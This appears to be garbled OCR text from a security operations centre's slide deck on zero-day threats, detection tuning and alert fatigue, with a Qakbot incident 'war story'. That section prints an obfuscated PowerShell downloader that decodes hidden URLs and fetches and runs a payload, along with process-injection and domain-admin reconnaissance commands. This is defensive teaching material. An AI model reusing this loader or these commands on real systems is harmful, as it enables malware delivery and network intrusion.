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Zero-day

Zero-day threats are cyber attacks that occur
before a vulnerability within software has been fixed.

= t, Vulnerability introduced .
= t,Vulnerability discovered P &
= t, Exploit developed

= t, Attack based on exploit

= t, Vendor aware of vulnerability
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Zero-day window

= t, Patch available Zero-day attacks
= t, Vulnerability made public Window of exposure

= t_ Vulnerability patch everywhere Window of vulnerability
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About Mobilelron Core Security and Service Organisation

We are a Norwegian Government Agency
located in the centre of Oslo. We have

Mobile Device Management, Mobile Application Management, and Mobile approximately 700 employees and an annual
Content Management capabilities.

Mobilelron Core is a mobile management software engine that enables IT to
set policies for mobile devices, applications, and content. This product enables



Anticipate the latest cyber threats and prevent
digital risk

Identify your risks and prepare your security
strategy
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Protect your organization with the right technology

and expertise




How to detect a zero-day?

Signature Behaviour

=

What does it look like? What does it do?
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It Is about

ook for...

...and where
to look.




Zero-days are...

= Hard to find

= Valuable




Lies in wait...




Tuning

Complex networks
Lots of technology + wide variety of users.

Remove the noise
Continuously monitor and modify detection rules and tools to filter out false positives.

Communicate with customer
The customer knows the network best. Help us help you better.

Alert fatigue

An analyst constantly moving from one alert to the next leads to reduced energy
and motivation.
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Whats next?

= MIEEE BACKCHANNEL BUSINESS CULTURE GEAR IDEAS MORE v SIGN IN SUBSCRIBE

Zero-days exploits are rare and valuable

resourceful attackers? SECURITY FEd 14, 2021 7.0 AM

The Untold History of America’s Zero-Day
Race to patch and exploit Market

The lucrative business of dealing in code vulnerabilities is central to espionage and war
expect more attacks

planning, which is why brokers never spoke about it—until now.

[ save
Detection rules and hunting procedures
distributed to our CSOCS THIS STORY IS Cfdapted from This Is How They Tell Me the
Z t t World Ends, by Nicole Perlroth.
ero trus

https://www.wired.com/story/untold-history-americas-zero-day-market/



https://www.wired.com/story/untold-history-americas-zero-day-market/

War story

= Suspected C2 communication

— WScript.exe .\document_P928 Oct_3.js

— Encoded PowerShell command

= Process injection
— rundll32.exe C:\Programbata\Unliver.unposses

— rundll32.exe injected code into explorer.exe

= Lateral movement
— cmd.exe /C net group "Domain Controllers" /c

net group "Domain Admins" /domain

$canteenUpdates = 286;%unexpectedWord = "codingReplacements";$StoreTitle =

" aABOAHQACAABACSALWBPAGAAYWBhAHUADABPAGSAdQBZAGAAZQB zAHMAUgBhAHYAZQBUAGZABWBVAGQALE
BiAGWAdQB1AA==ppxaABOAHQACAAGACBALWBWAGEAbABSAGIAbWBYAGKAbgBhAGUARQBAAHAAQBYAGCAYQ
BOAGBAcgBzAC4AbgByAHcAppxaABOAHQACABzADoALWAVAFYAYQBNAGKAZQBUAHQAUAB1AGAAZABhAG4AdA
BsAGkAawB1AC4AeABS5AHoAppxaABBAHQACABzADOALWAVAFYAYQB1AGQAZQB2AGKkAbABSAGKAYQBUAEBAaQ
BjAHIAbwBzAG8AcgBlAHgALgB2AGKkAbABSAGEACWA=";Start-Sleep -Seconds 9;$DissolvedItem

= "aABOAHQACAABACBALWAYADIAMWAUADIAMWA3SACAAMgAZADKALgASADAA" ;$travelNumbers = 262;
$ThreadWordReplacement = "ReplacedItem";$shineItemStore =
"aABBAHQACAABGACBALWASADEAL gAxADkAMwWAUADQAMWAUADEAMQASACS8AdABOAGYALWBKAHEASQBQAEIATQ
BJAFMAPMyaABBAHQACAAGACSALWA3SADCALgASADEALgA4ADYALgAXADIAMgAVAFYADABWAFQALWBrAEIASA
BUAGUAdwWB2ADMASABEADgA" ; foreach ($constantRename in $shineItemStore -split "PMy")
{$dataCheckItem = "dataChecker";$TalkReplacement = 889;try {$itemChecker =
"itemPurse"”;$flowerChecker = [System.Text.Encoding]::Unicode.GetString([System.
Convert]::FromBase64String($constantRename));iwr $flowerChecker -0
C:\ProgramData\StorelList.renamedDataltem;$fishData = 687;$windItem = "windChecker";
if ((Get-Item -Path C:\ProgramData\StorelList.renamedDataItem).Length -ge 144709)
{powershell -encodedcommand

" cwBBAGEACgBBACAACgB1AG4AZABSAGWAMWAYACAAQWABAFWAUABYAGBAZWBYAGEAbQBEAGEAdABhAFWAUW
BOAGBAcgB1AEwAaQBzAHQAL gByAGUAbgBhAG1AZQBKAEQAYQBOAGEASQBUAGUADQBPAHQAZQASAHAACEBPA
G4AAdAA7AFYAdQBlAEOAUWA=";$dataltemName = "uncinariaticFish";break;VuelS;}VuelS;}
catch {$datalogic = "dataTick";$MountainCheck = 501;}}$dataUpdate =
"storeCounters";$dataCounter = 145;



Qakbot

Contains Download Execute Download &
»-

Executes Communication

Malspam Mail Malicious PDF Obfuscated JS File Powershell Qakbot Payload
A

Executes

Save Base64 | > 2 )
encoded Powershell H‘ encoded command

cammand from registry

Reg.exe

https://www.zscaler.com/blogs/security-research/hibernating-qakbot-
comprehensive-study-and-depth-campaign-analysis



https://www.zscaler.com/blogs/security-research/hibernating-qakbot-comprehensive-study-and-depth-campaign-analysis
https://www.zscaler.com/blogs/security-research/hibernating-qakbot-comprehensive-study-and-depth-campaign-analysis
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